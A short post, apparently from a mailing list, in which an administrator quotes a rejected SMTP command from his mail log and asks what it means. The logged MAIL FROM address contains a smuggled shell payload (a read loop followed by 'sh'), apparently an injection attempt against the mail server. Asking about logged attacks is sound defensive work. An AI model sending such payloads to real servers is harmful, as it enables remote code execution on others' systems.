Saw this in the maillog today. Any ideas what they are trying to do? 249c054a86af9328 smtp failed-command command="MAIL FROM: <;for i in 0 1 2 3 4 5 6 7 8 9 a b c d;do read r;done;sh;exit 0;>" result="530 5.5.1 Invalid command: Must issue an AUTH command first"
Edgar
